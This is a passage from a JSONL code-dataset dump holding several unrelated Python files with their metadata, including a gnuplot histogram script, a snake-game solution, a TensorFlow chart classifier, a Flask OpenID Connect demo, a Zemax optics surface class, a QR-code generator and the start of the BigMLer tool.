self.data[filename] = {\n 'data': datas,\n 'last_update': datetime.datetime.now(JST).isoformat()\n }\n\nif __name__ == \"__main__\":\n dm = CovidDataManager()\n dm.fetch_data()\n dm.import_csv()\n dm.import_csv_from_sdp_contacts()\n dm.import_csv_from_sdp_querents()\n for key in dm.data:\n dm.export_json_from_name(key)", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7460, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.timezone", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "attribute"}, {"api_name": "patients.PatientsReader", "line_number": 28, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 48, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 53, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 57, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.getmtime", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 66, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 91, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 91, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 91, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 99, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 99, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 99, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 105, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 130, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 130, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 130, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 135, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 149, "usage_type": "attribute"}, {"api_name": "urllib.request.request.urlopen", "line_number": 153, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 153, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 153, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 172, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 172, "usage_type": "attribute"}]} {"seq_id": "538958696", "text": "# -*- coding: utf-8 -*-\nimport json\nfrom os import system, remove\n\nwith open('questions.json') as data_file:\n\tquestions = json.load(data_file)\n\nwith open('answers.json') as data_file:\n\tanswers = json.load(data_file)\n\nquestions = questions['questions']\nanswers = answers['answers']\n\nfor question in questions:\n\t#Generar el tsv con los datos\n\tfor answer in answers:\n\t\tif answer['questionId'] == question['id']:\n\t\t\trespuestas = answer['answers']\n\t\t\tyrange = max(answer['answers'])\n\n\trespuestastsv = ''\n\tcont = 0\n\tfor res in question['answers']:\n\t\trespuestastsv += str(respuestas[res['id']-1]) + ' ' + res['text'].encode('utf-8')\n\t\tcont+=1\n\n\tfile = open('respuestas.tsv', 'w+')\n\tfile.write(respuestastsv) # python will convert \\n to os.linesep\n\tfile.close()\n\n\tgnuplot = \"\\\n\t# ______________________________________________________________________\\n\\\n\t#Setting output\\n\\\n\tset term png\\n\\\n\tset output \\\"./Plots/plot\"+str(question['id'])+\".png\\\"\\n\\\n\t# For the next graph, we want a histogram.\\n\\\n\tset style data boxes\\n\\\n\t# set xrange [0:\"+str(question['numAnswers'])+\"]\\n\\\n\t# set yrange [0:\"+str(yrange)+\"]\\n\\\n\t# set xtics rotate by -45\\n\\\n\t\\n\\\n\t# We want a small gap between solid (filled-in) bars.\\n\\\n\tset boxwidth 0.8 relative\\n\\\n\tset style fill solid 1.0\\n\\\n\t\\n\\\n\t# Plot the histogram (one curve).\\n\\\n\tplot 'respuestas.tsv' using 1:xtic(2) with boxes title '\"+question['text'].strip('\\n').encode('utf-8')+\"'\\n\\\n\t\"\n\tfile = open('tmp.gp', 'w+')\n\tfile.write(gnuplot) # python will convert \\n to os.linesep\n\tfile.close()\n#\n#\n#\n#\n\tsystem('gnuplot tmp.gp')\n\tremove('respuestas.tsv')\n\tremove('tmp.gp')\n", "sub_path": "histo.py", "file_name": "histo.py", "file_ext": "py", "file_size_in_byte": 1593, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}, {"api_name": "json.load", "line_number": 9, "usage_type": "call"}, {"api_name": "os.system", "line_number": 56, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 57, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 58, "usage_type": "call"}]} {"seq_id": "208204048", "text": "from collections import deque\n\ndef dummy():\n time = 0\n dx = [-1, 0, 1, 0]\n dy = [0, 1, 0, -1]\n direction = 1\n \n head_x, head_y = 1, 1 # 머리의 위치 1행 1열\n body = deque()\n body.append((head_x, head_y))\n board[head_x][head_y] = 1\n \n snake = True # 머리가 몸에 부딪히면 False\n while True:\n # 먼저 해당 시각에 입력된 커맨드대로 방향전환이 있는지 체크\n if command:\n if command[0][0] == time:\n if command[0][1] == 'L':\n direction = (direction + 3) % 4 \n else:\n direction = (direction + 1) % 4 \n command.popleft() \n\n # 바라보고 있는 방향으로 몸을 늘려 머리를 위치시킴 \n head_x += dx[direction]\n head_y += dy[direction]\n if head_x < 1 or head_x > n or head_y < 1 or head_y > n:\n return time + 1\n if board[head_x][head_y] == 0: # 사과가 없으면 꼬리 한 칸 제거, 있으면 pass\n tail_x, tail_y = body.popleft() \n board[tail_x][tail_y] = 0\n board[head_x][head_y] = 1\n body.append((head_x, head_y)) \n\n # 머리가 몸에 부딪혔는지 check\n for i in range(0, len(body)-1):\n if body[i] == (head_x, head_y):\n snake = False \n return time\n \n time += 1\n\nn = int(input())\nboard = [[0]*(n+1) for _ in range(n+1)]\n\nk = int(input())\nfor _ in range(k):\n i, j = map(int, input().split())\n board[i][j] = 2\n\nl = int(input())\ncommand = deque()\nfor _ in range(l):\n x, c = input().split()\n command.append((int(x), c))\n\nprint(dummy())", "sub_path": "Implementation/G5_3190_Snake.py", "file_name": "G5_3190_Snake.py", "file_ext": "py", "file_size_in_byte": 1764, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.deque", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 53, "usage_type": "call"}]} {"seq_id": "112866331", "text": "import tensorflow as tf\nimport numpy as np\nimport json\nimport os\nfrom PIL import Image\n\n\ndef load_graph(frozen_graph_filename):\n # We load the protobuf file from the disk and parse it to retrieve the \n # unserialized graph_def\n with tf.gfile.GFile(frozen_graph_filename, \"rb\") as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n\n # Then, we can use again a convenient built-in function to import a graph_def into the \n # current default Graph\n with tf.Graph().as_default() as graph:\n tf.import_graph_def(\n graph_def,\n input_map=None,\n return_elements=None,\n name=\"prefix\",\n op_dict=None,\n producer_op_list=None\n )\n return graph\n\n\ndef go(typ, image,path=None):\n print(os.getcwd()) \n# /app/Code/WebApi/graph/output_graph.pb\n\n graph=load_graph(os.path.join(os.getcwd(),'Code/WebApi/graph/output_graph.pb'))\n # We access the input and output nodes\n input = graph.get_tensor_by_name('prefix/DecodeJpeg:0')\n output = graph.get_tensor_by_name('prefix/final_result:0')\n image = Image.open(image)\n image_array = None\n if typ == 'jpg':\n image_array = np.array(image)\n else:\n image_array = np.array(image)[:, :, 0:3] # Select RGB channels only.\n\n with tf.Session(graph=graph) as sess:\n result = sess.run(output, feed_dict={\n input: image_array\n })\n result = result[0]\n datatemp = {\n 'message': 'Model trained',\n 'result': [\n {\n 'prediction': [\n {\n 'label': 'Bar Chart',\n \"probability\": format(result[1]),\n },\n {\n 'label': 'Line Chart',\n \"probability\": format(result[2]),\n },\n {\n 'label': 'Pie chart',\n 'probability': format(result[0]),\n },\n {\n 'label': 'Scatter plot',\n 'probability': format(result[3]),\n },\n ],\n 'file':'image.jpg'\n }\n ]\n }\n print(json.dumps(datatemp))\n if path is not None :\n os.remove(path)\n return json.dumps(datatemp)\n", "sub_path": "Code/WebApi/Reload.py", "file_name": "Reload.py", "file_ext": "py", "file_size_in_byte": 2640, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.gfile.GFile", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.gfile", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tensorflow.GraphDef", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.import_graph_def", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 37, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 44, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 75, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 77, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}]} {"seq_id": "523459576", "text": "from flask import redirect, render_template, session, request\nfrom oidc_rp import app, client\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/authenticate')\ndef authenticate():\n redirect_url = client.authenticate(session)\n return redirect(redirect_url)\n\n@app.route('/repost_fragment', methods=['POST'])\ndef repost_fragment(**kwargs):\n info = client.implicit_flow_callback(request.form['url_fragment'], session)\n return success_page(info)\n\n@app.route('/code_flow_callback')\ndef code_flow_callback():\n if 'error' in request.form:\n return \"{}: {}\".format(request.form['error'], request.form['error_description']), 500\n info = client.code_flow_callback(request.query_string, session)\n return success_page(info)\n\n@app.route('/implicit_flow_callback')\ndef implicit_flow_callback():\n return render_template('repost_fragment.html')\n\ndef success_page(info):\n return render_template(\n 'success_page.html',\n client_id=info['client_id'],\n client_secret=info['client_secret'],\n auth_code=info['auth_code'],\n access_token=info['access_token'],\n id_token_claims=info['id_token_claims'],\n userinfo=info['userinfo']\n )\n", "sub_path": "oidc-python-rp/oidc_rp/webserver.py", "file_name": "webserver.py", "file_ext": "py", "file_size_in_byte": 1225, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.render_template", "line_number": 6, "usage_type": "call"}, {"api_name": "oidc_rp.app.route", "line_number": 4, "usage_type": "call"}, {"api_name": "oidc_rp.app", "line_number": 4, "usage_type": "name"}, {"api_name": "oidc_rp.client.authenticate", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 10, "usage_type": "argument"}, {"api_name": "oidc_rp.client", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 11, "usage_type": "call"}, {"api_name": "oidc_rp.app.route", "line_number": 8, "usage_type": "call"}, {"api_name": "oidc_rp.app", "line_number": 8, "usage_type": "name"}, {"api_name": "oidc_rp.client.implicit_flow_callback", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 15, "usage_type": "argument"}, {"api_name": "oidc_rp.client", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "oidc_rp.app.route", "line_number": 13, "usage_type": "call"}, {"api_name": "oidc_rp.app", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "oidc_rp.client.code_flow_callback", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 22, "usage_type": "argument"}, {"api_name": "oidc_rp.client", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.query_string", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "oidc_rp.app.route", "line_number": 18, "usage_type": "call"}, {"api_name": "oidc_rp.app", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "oidc_rp.app.route", "line_number": 25, "usage_type": "call"}, {"api_name": "oidc_rp.app", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 30, "usage_type": "call"}]} {"seq_id": "332871093", "text": "import dataclasses\nimport typing as typ\nimport win32com.client\nfrom astropy import units as u\nfrom kgpy.optics import system\nfrom kgpy.optics.zemax import ZOSAPI\nfrom .. import configuration\nfrom . import DiffractionGrating\n\n__all__ = ['EllipticalGrating1']\n\n\n@dataclasses.dataclass\nclass InstanceVarBase:\n _a_op: configuration.SurfaceOperand = dataclasses.field(\n default_factory=lambda: configuration.SurfaceOperand(\n op_factory=lambda: ZOSAPI.Editors.MCE.MultiConfigOperandType.PRAM,\n param_2=3,\n ),\n init=None,\n repr=None,\n )\n _b_op: configuration.SurfaceOperand = dataclasses.field(\n default_factory=lambda: configuration.SurfaceOperand(\n op_factory=lambda: ZOSAPI.Editors.MCE.MultiConfigOperandType.PRAM,\n param_2=4,\n ),\n init=None,\n repr=None,\n )\n _c_op: configuration.SurfaceOperand = dataclasses.field(\n default_factory=lambda: configuration.SurfaceOperand(\n op_factory=lambda: ZOSAPI.Editors.MCE.MultiConfigOperandType.PRAM,\n param_2=5,\n ),\n init=None,\n repr=None,\n )\n _alpha_op: configuration.SurfaceOperand = dataclasses.field(\n default_factory=lambda: configuration.SurfaceOperand(\n op_factory=lambda: ZOSAPI.Editors.MCE.MultiConfigOperandType.PRAM,\n param_2=6,\n ),\n init=None,\n repr=None,\n )\n _beta_op: configuration.SurfaceOperand = dataclasses.field(\n default_factory=lambda: configuration.SurfaceOperand(\n op_factory=lambda: ZOSAPI.Editors.MCE.MultiConfigOperandType.PRAM,\n param_2=7,\n ),\n init=None,\n repr=None,\n )\n\n _a_unit = u.dimensionless_unscaled\n _b_unit = u.dimensionless_unscaled\n _alpha_unit = u.dimensionless_unscaled\n _beta_unit = u.dimensionless_unscaled\n\n\n@dataclasses.dataclass\nclass EllipticalGrating1(system.surface.EllipticalGrating1, InstanceVarBase, DiffractionGrating, ):\n\n def _update(self) -> typ.NoReturn:\n super()._update()\n self.a = self.a\n self.b = self.b\n self.c = self.c\n self.alpha = self.alpha\n self.beta = self.beta\n\n @property\n def _lde_row_type(self) -> ZOSAPI.Editors.LDE.SurfaceType:\n return ZOSAPI.Editors.LDE.SurfaceType.EllipticalGrating1\n\n @property\n def _lde_row_data(self) -> ZOSAPI.Editors.LDE.ISurfaceEllipticalGrating1:\n return win32com.client.CastTo(self._lde_row.SurfaceData, ZOSAPI.Editors.LDE.ISurfaceEllipticalGrating1.__name__)\n\n @property\n def _lde_row(self) -> ZOSAPI.Editors.LDE.ILDERow[ZOSAPI.Editors.LDE.ISurfaceEllipticalGrating1]:\n return super()._lde_row\n\n def _a_setter(self, value: float):\n self._lde_row_data.A = value\n\n @property\n def a(self) -> u.Quantity:\n return self._a\n\n @a.setter\n def a(self, value: u.Quantity):\n self._a = value\n self._set(value, self._a_setter, self._a_op, self._a_unit)\n\n def _b_setter(self, value: float):\n self._lde_row_data.B = value\n\n @property\n def b(self) -> u.Quantity:\n return self._b\n\n @b.setter\n def b(self, value: u.Quantity):\n self._b = value\n self._set(value, self._b_setter, self._b_op, self._b_unit)\n\n def _c_setter(self, value: float):\n self._lde_row_data.C = value\n\n @property\n def c(self) -> u.Quantity:\n return self._c\n\n @c.setter\n def c(self, value: u.Quantity):\n self._c = value\n self._set_with_lens_units(value, self._c_setter, self._c_op)\n\n def _alpha_setter(self, value: float):\n self._lde_row_data.Alpha = value\n\n @property\n def alpha(self) -> u.Quantity:\n return self._alpha\n\n @alpha.setter\n def alpha(self, value: u.Quantity):\n self._alpha = value\n self._set(value, self._alpha_setter, self._alpha_op, self._alpha_unit)\n\n def _beta_setter(self, value: float):\n self._lde_row_data.Beta = value\n\n @property\n def beta(self) -> u.Quantity:\n return self._beta\n\n @beta.setter\n def beta(self, value: u.Quantity):\n self._beta = value\n self._set(value, self._beta_setter, self._beta_op, self._beta_unit)\n", "sub_path": "kgpy/optics/zemax/system/surface/elliptical_grating.py", "file_name": "elliptical_grating.py", "file_ext": "py", "file_size_in_byte": 4219, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "dataclasses.field", "line_number": 15, "usage_type": "call"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 17, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 17, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 23, "usage_type": "call"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 25, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 25, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 31, "usage_type": "call"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 33, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 33, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 39, "usage_type": "call"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 41, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 41, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 47, "usage_type": "call"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 49, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 49, "usage_type": "name"}, {"api_name": "astropy.units.dimensionless_unscaled", "line_number": 56, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 56, "usage_type": "name"}, {"api_name": "astropy.units.dimensionless_unscaled", "line_number": 57, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 57, "usage_type": "name"}, {"api_name": "astropy.units.dimensionless_unscaled", "line_number": 58, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 58, "usage_type": "name"}, {"api_name": "astropy.units.dimensionless_unscaled", "line_number": 59, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 59, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 13, "usage_type": "attribute"}, {"api_name": "kgpy.optics.system.surface", "line_number": 63, "usage_type": "attribute"}, {"api_name": "kgpy.optics.system", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.NoReturn", "line_number": 65, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 75, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 75, "usage_type": "name"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 74, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 74, "usage_type": "name"}, {"api_name": "win32com.client.client.CastTo", "line_number": 79, "usage_type": "call"}, {"api_name": "win32com.client.client", "line_number": 79, "usage_type": "attribute"}, {"api_name": "win32com.client", "line_number": 79, "usage_type": "name"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 79, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 79, "usage_type": "name"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 78, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 78, "usage_type": "name"}, {"api_name": "kgpy.optics.zemax.ZOSAPI.Editors", "line_number": 82, "usage_type": "attribute"}, {"api_name": "kgpy.optics.zemax.ZOSAPI", "line_number": 82, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 89, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 89, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 93, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 93, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 101, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 101, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 105, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 105, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 113, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 113, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 117, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 117, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 125, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 125, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 129, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 129, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 137, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 137, "usage_type": "name"}, {"api_name": "astropy.units.Quantity", "line_number": 141, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 141, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 62, "usage_type": "attribute"}]} {"seq_id": "482653613", "text": "import pyqrcode\r\nimport cv2\r\nfrom PIL import Image\r\n\r\nqr = pyqrcode.create('http://www.cmu.edu/', error='M', version=3)\r\nqr.png('test.png')\r\nqr.png('test2.png',scale=10)\r\nqr.png('test3.png',scale=10,module_color=(125,31,31,220))\r\nimg = cv2.imread(\"test.png\",0)\r\nimg2 = cv2.resize(img, (0,0), fx=10, fy=10, interpolation = cv2.INTER_NEAREST)\r\n\r\nfor i in range(40,111):\r\n\tfor j in range(40,111):\r\n\t\timg2[i][j]=255\r\n\r\nfor i in range(260,341):\r\n\tfor j in range(40,111):\r\n\t\timg2[i][j]=255\r\n\r\nfor i in range(40,111):\r\n\tfor j in range(260,341):\r\n\t\timg2[i][j]=255\r\n\r\nfor i in range(240,281):\r\n\tfor j in range(240,281):\r\n\t\timg2[i][j]=255\r\n\r\ndef is_30by20(img,i,j):\r\n\tfor k in range(20):\r\n\t\tfor m in range(30):\r\n\t\t\tif img[i+k,j+m] != 0:\r\n\t\t\t\treturn False\r\n\treturn True\r\n\r\ndef locating_30by20(img):\r\n\tfor i in range(331):\r\n\t\tfor j in range(331):\r\n\t\t\tif is_30by20(img,i,j):\r\n\t\t\t\tfor k in range(20):\r\n\t\t\t\t\tfor m in range(30):\r\n\t\t\t\t\t\timg2[i+k][j+m]=100\r\n\t\t\t\treturn j,i\r\n\r\n\r\nbox = Image.open(\"icon.png\")\r\ncv2.imwrite(\"test2.png\",img2)\r\npic2 = Image.open(\"test2.png\")\r\npic3 = Image.open(\"test3.png\")\r\n\r\nboxes = box.resize((70, 70), Image.ANTIALIAS)\r\nbox_small = box.resize((50, 50), Image.ANTIALIAS)\r\ntwo_by_three = box.resize((30, 20), Image.ANTIALIAS)\r\n\r\npic3.paste(boxes, (40, 40))\r\npic3.paste(boxes, (260, 40))\r\npic3.paste(boxes, (40, 260))\r\npic3.paste(box_small, (240, 240))\r\n\r\ntwo_by_three_list = []\r\nfor k in range(4):\r\n\ttwo_by_three_list.append(locating_30by20(img2))\r\nprint(two_by_three_list)\r\nfor i in range(4):\r\n\tif two_by_three_list[i]==None: break\r\n\tpic3.paste(two_by_three, two_by_three_list[i])\r\n\r\npic3.save(\"boxed_code.png\")\r\n#cv2.imshow('boxed_code',img2)\r\n#cv2.waitKey(0)", "sub_path": "hackcmu/code_generator.py", "file_name": "code_generator.py", "file_ext": "py", "file_size_in_byte": 1673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyqrcode.create", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 10, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 45, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 46, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 47, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 47, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 48, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 50, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 50, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 52, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 52, "usage_type": "name"}]} {"seq_id": "58276218", "text": "# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n#\n# Copyright 2012 BigML\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"BigMLer - A Higher Level API to BigML's API\n\n# Basic usage\npython bigmler.py \\\n --train data/iris.csv \\\n --test data/test_iris.csv\n --no-test-header\n\n# Create an 10-model ensemble using bagging\npython bigmler.py\n --train train.csv \\\n --output submission.csv \\\n --objective 0 \\\n --types types.txt \\\n --name 'Iris Ensemble' \\\n --number_of_models 10 \\\n --sample_rate 0.75 \\\n --replacement \\\n --tag my_ensemble\n\n# Make predictions using models tagged with my_ensemble\npython bigmler.py \\\n --model_tag my_ensemble \\\n --test test.csv\n --no-test-header\n\n\"\"\"\nfrom __future__ import absolute_import\n\nimport sys\nimport os\nimport datetime\nimport csv\nimport re\nimport shlex\n\ntry:\n import simplejson as json\nexcept ImportError:\n import json\n\nimport bigml.api\nimport bigmler.utils as u\n\nfrom bigml.model import Model\nfrom bigml.multimodel import MultiModel\nfrom bigml.multivote import COMBINATION_WEIGHTS, COMBINER_MAP, PLURALITY\nfrom bigml.fields import Fields\n\nfrom bigml.util import (localize, console_log, get_csv_delimiter,\n get_predictions_file_name)\n\nfrom bigmler.options import create_parser\nfrom bigmler.defaults import get_user_defaults\nfrom bigmler.defaults import DEFAULTS_FILE\n\nMAX_MODELS = 10\nEVALUATE_SAMPLE_RATE = 0.8\nSEED = \"BigML, Machine Learning made easy\"\n# Date and time in format SunNov0412_120510 to name and tag resources\nNOW = datetime.datetime.now().strftime(\"%a%b%d%y_%H%M%S\")\nCOMMAND_LOG = \".bigmler\"\nDIRS_LOG = \".bigmler_dir_stack\"\nSESSIONS_LOG = \"bigmler_sessions\"\nLOG_FILES = [COMMAND_LOG, DIRS_LOG, u.NEW_DIRS_LOG]\n\n\ndef remote_predict(models, headers, output_path, number_of_tests, resume,\n verbosity, test_reader, exclude, fields, api,\n prediction_file, method, tags, objective_field,\n session_file, test_set_header, log, debug):\n \"\"\"Retrieve predictions remotely, combine them and save predictions to file\n\n \"\"\"\n\n predictions_files = []\n prediction_args = {\n \"tags\": tags\n }\n for model in models:\n if not isinstance(model, basestring) and 'resource' in model:\n model = model['resource']\n predictions_file = get_predictions_file_name(model,\n output_path)\n predictions_files.append(predictions_file)\n if (not resume or\n not u.checkpoint(u.are_predictions_created, predictions_file,\n number_of_tests, debug=debug)):\n message = u.dated(\"Creating remote predictions.\\n\")\n u.log_message(message, log_file=session_file,\n console=verbosity)\n\n predictions_file = csv.writer(open(predictions_file, 'w', 0))\n for row in test_reader:\n for index in exclude:\n del row[index]\n input_data = fields.pair(row, headers, objective_field)\n prediction = api.create_prediction(model, input_data,\n by_name=test_set_header,\n wait_time=0,\n args=prediction_args)\n u.log_message(\"%s\\n\" % prediction['resource'], log_file=log)\n prediction_row = u.prediction_to_row(prediction)\n predictions_file.writerow(prediction_row)\n u.combine_votes(predictions_files,\n Model(models[0]).to_prediction,\n prediction_file, method)\n\n\ndef local_predict(models, headers, 